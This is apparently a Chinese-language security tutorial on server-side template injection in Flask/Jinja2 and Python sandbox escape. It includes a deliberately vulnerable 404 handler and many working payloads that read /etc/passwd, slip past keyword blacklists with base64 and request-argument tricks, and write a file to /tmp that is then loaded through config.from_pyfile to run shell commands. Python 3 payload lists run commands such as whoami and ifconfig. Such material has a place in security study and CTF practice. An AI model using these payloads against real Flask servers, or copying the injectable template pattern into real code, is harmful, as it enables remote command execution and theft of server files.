前言
pythonweb出现的最近出现的问题大多都是沙盒逃逸、SSTI模板注入、反序列化的问题,对于Django来说,模板页面的传参对xss和csrf的过滤已近非常好了,但是Django的最大问题就是慢,flask相对好一点,输入轻量型的,许多模块都需要自己写,这就造成了一些漏洞的产生
SSTI模板注入
首先看一段代码
#_*_coding:utf-8_*_
# _Author : Christa
# Date :2018/11/11 15:34
# FileName : flask_ssti_test.py
from flask import Flask,render_template_string,request
app = Flask(__name__)
app.debug = False
app.sercret_key = 'christa'
@app.route('/')
def index():
return 'christa'
@app.errorhandler(404)
def page_not_found(e):
template = '''{%%extends "layout.html"%%}
{%%block body%%}
<div style = "color:#977FFE;text_aline:center;">
<h1>page not found!</h1>
<h3>%s</h3>
</div>
{%%endblock%%}
'''%(request.url)
return render_template_string(template),404
if __name__ == '__main__':
app.run('0.0.0.0',port=9001)
改模板为一个普通的404模板,访问错误即显示
普通的404页面,但输入{{4*4}}时,显示
同时也存在self-xss漏洞
在config对象内,虽然config对象是类字典,它是一个包含若干独特的方法子类:from_envvar
,from_object
,from_pyfile
,和root_path。
对flask/config.py中的函数
def from_object(self, obj):
"""Updates the values from the given object. An object can be of one
of the following two types:
- a string: in this case the object with that name will be imported
- an actual object reference: that object is used directly
Objects are usually either modules or classes. :meth:`from_object`
loads only the uppercase attributes of the module/class. A ``dict``
object will not work with :meth:`from_object` because the keys of a
``dict`` are not attributes of the ``dict`` class.
Example of module-based configuration::
app.config.from_object('yourapplication.default_config')
from yourapplication import default_config
app.config.from_object(default_config)
You should not use this function to load the actual configuration but
rather configuration defaults. The actual config should be loaded
with :meth:`from_pyfile` and ideally from a location not within the
package because the package might be installed system wide.
See :ref:`config-dev-prod` for an example of class-based configuration
using :meth:`from_object`.
:param obj: an import name or object
"""
if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)
当将一个字符串传递给该from_object
方法,它会将该字符串传递给模块中的import_string
方法,该werkzeug/utils.py
模块尝试从名称匹配的路径中导入任何内容并将其返回。
def import_string(import_name, silent=False):
"""Imports an object based on a string. This is useful if you want to
use import paths as endpoints or something similar. An import path can
be specified either in dotted notation (``xml.sax.saxutils.escape``)
or with a colon as object delimiter (``xml.sax.saxutils:escape``).
If `silent` is True the return value will be `None` if the import fails.
:param import_name: the dotted name for the object to import.
:param silent: if set to `True` import errors are ignored and
`None` is returned instead.
:return: imported object
"""
# force the import name to automatically convert to strings
# __import__ is not able to handle unicode strings in the fromlist
# if the module is a package
import_name = str(import_name).replace(':', '.')
try:
try:
__import__(import_name)
except ImportError:
if '.' not in import_name:
raise
else:
return sys.modules[import_name]
module_name, obj_name = import_name.rsplit('.', 1)
try:
module = __import__(module_name, None, None, [obj_name])
except ImportError:
# support importing modules not yet set up by the parent module
# (or package for that matter)
module = import_string(module_name)
try:
return getattr(module, obj_name)
except AttributeError as e:
raise ImportError(e)
except ImportError as e:
if not silent:
reraise(
ImportStringError,
ImportStringError(import_name, e),
sys.exc_info()[2])
from_object
然后,该方法将新加载的模块的所有属性添加到config
对象,该模块的变量名称全部为大写。有趣的是,添加到config
对象的属性保持其类型,这意味着config
可以通过config
对象从模板上下文调用添加到对象的函数,通过注入{{config.items()}}来检验
基本函数
''是一个空白的str,__mro__即method resolution order,主要用于在多继承时判断调的属性的路径(来自于哪个类)。比如如下官网的例子
class D(object):pass
class E(object):pass
class F(object):pass
class C(D, F):pass
class B(E, D):pass
class A(B, C):pass
if __name__ == '__main__':
print A.__mro__
得到结果:
(<class '__main__.A'>, <class '__main__.B'>, <class '__main__.E'>, <class '__main__.C'>, <class '__main__.D'>, <class '__main__.F'>, <type 'object'>)
使用__mro__用于访问对象的继承类的属性,同时使用__subclasses__()获取所有子集的结合,构造payload将所有的类别全部打印出来
''.__class__.__mro__[-1].__subclasses__()
在flask上面同样会显示所有种类的类型
在python2的环境中可以使用如下代码读取任意文件
().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
导入模块
在linux系统中Python 的os 模块的路径一般都是在/usr/lib/python2.7/os.py中,可以使用 如下的模块导入
sys模块
sys.modules['os']='/usr/lib/python2.7/os.py'
timeit
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
eval
eval('__import__("os").system("dir")')
platform
import platform
print platform.popen('dir').read()
input函数
input: import('os').system('ls')
map函数
map(os.system,['ls'])
execfile函数
execfile('/usr/lib/python2.7/os.py') system('ls')
exec函数
exec("__import__('os').system('ls')")
都可以打印出当前的目录文件。但是,正常的 Python 沙箱会以黑名单的形式禁止使用一些模块如 os 或以白名单的形式只允许用户使用沙箱提供的模块,用以阻止用户的危险操作。一下为一些常见的绕过沙箱的操作
__builtin__
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']
__builtin__
在为内置函数包含了许多的,但是在python3__builtin__
为需要人工引入了,首先使用base64加密绕过明文检测
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
通过dict去引用
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
同时,只需要删除__builtin__
模块就能够防止此类问题
del __builtins__
reload
reload会重新加载已加载的模块,但原来已经使用的实例还是会使用旧的模块,而产生的实例会使用新的模块;reload后还是用原来的地址;reload 不支持from xxx import xxx格式的模块继续重新加载。在python3中把 reload 内置函数移到了 imp 标准库模块中。它仍然像以前一样重载文件,但是,必须导入它才能使用。
from imp import reload
reload(module)
import imp
imp.reload(module)
同时在flask/config.py文件当中
def from_pyfile(self, filename, silent=False):
"""Updates the values in the config from a Python file. This function
behaves as if the file was imported as module with the
:meth:`from_object` function.
:param filename: the filename of the config. This can either be an
absolute filename or a filename relative to the
root path.
:param silent: set to ``True`` if you want silent failure for missing
files.
.. versionadded:: 0.7
`silent` parameter.
"""
filename = os.path.join(self.root_path, filename)
d = types.ModuleType('config')
d.__file__ = filename
try:
with open(filename, mode='rb') as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (
errno.ENOENT, errno.EISDIR, errno.ENOTDIR
):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
我们可以通过SSTI漏洞调用from_pyfile方法来编译文件并执行内容。我们可以通过使用上述file类不仅读取文件,而且将它写入目标服务器可以写的位置。让我们将from_pyfile用于其预期的目的,并添加对config 对象有用的东西。注入''进入SSTI漏洞,会将一个文件写入远程服务器,在编译时,它会导入模块的check_output
方法subprocess
并将其设置为一个名为的变量RUNCMD,
他将会被添加到FLASK中的config 对象中,因为他是一个具有大写名称的属性。
查过资料后,网上的payload为
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/cmd', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
但是写入之后使用{{config.from_pyfile('/tmp/cmd')}}则保存,保存内容为
from subprocess import check_output/n/nRUNCMD = check_output/n
^
SyntaxError: invalid syntax
可见flask中将传入的'\'转化为了'/',因此使用python一句话的项目,推荐onelinerizer项目,可以将所有的python转化为一句话的pytohn语句,转化之后的payload为
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/cmd', 'w').write("(lambda __g: (lambda __mod: [[None for __g['RUNCMD'] in [(check_output)]][0] for __g['check_output'] in [(__mod.check_output)]][0])(__import__('subprocess', __g, __g, ('check_output',), 0)))(globals())") }}
再进行{{config.from_pyfile('/tmp/cmd')}}
显示写入成功,既可以执行远程执行漏洞
{{config['RUNCMD']('ifconfig',shell=True)}}
同时附上一个global方式的命令执行
{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen("ifconfig").read()}}
SSTI一些逃逸的方法
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )}}
当禁止''.__class__.__mro__等字符串时,使用
http://192.168.0.109:9001/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/etc/passwd').read() }}?a=__class__&b=__mro__&c=__subclasses__
或者将get转化为post传递
http://192.168.0.109:9001/{{''[request.values.a][request.values.b][2][request.values.c]()[40]('/etc/passwd').read() }}
POST:a=__class__&b=__mro__&c=__subclasses__
一些对python flask SSTI的一些浅析,但是所有的研究都为python2.x为基础上的研究,一个python3的基础payload为
Windows:
[].__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
- [].__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['__import__']("os").system("ls")
- [].__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()
- [].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()
- {% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__.get('__builtins__').get('__import__')("os").popen('whoami').read() }}{% endif %}{% endfor %}
# 在过滤了[]的情况下使用
Linux:
- [].__class__.__base__.__subclasses__()[155].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
- [].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()
- ().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()
Reference
- https://xz.aliyun.com/t/52
- https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
- https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
- https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8
- https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/
- http://120.79.189.7/?p=409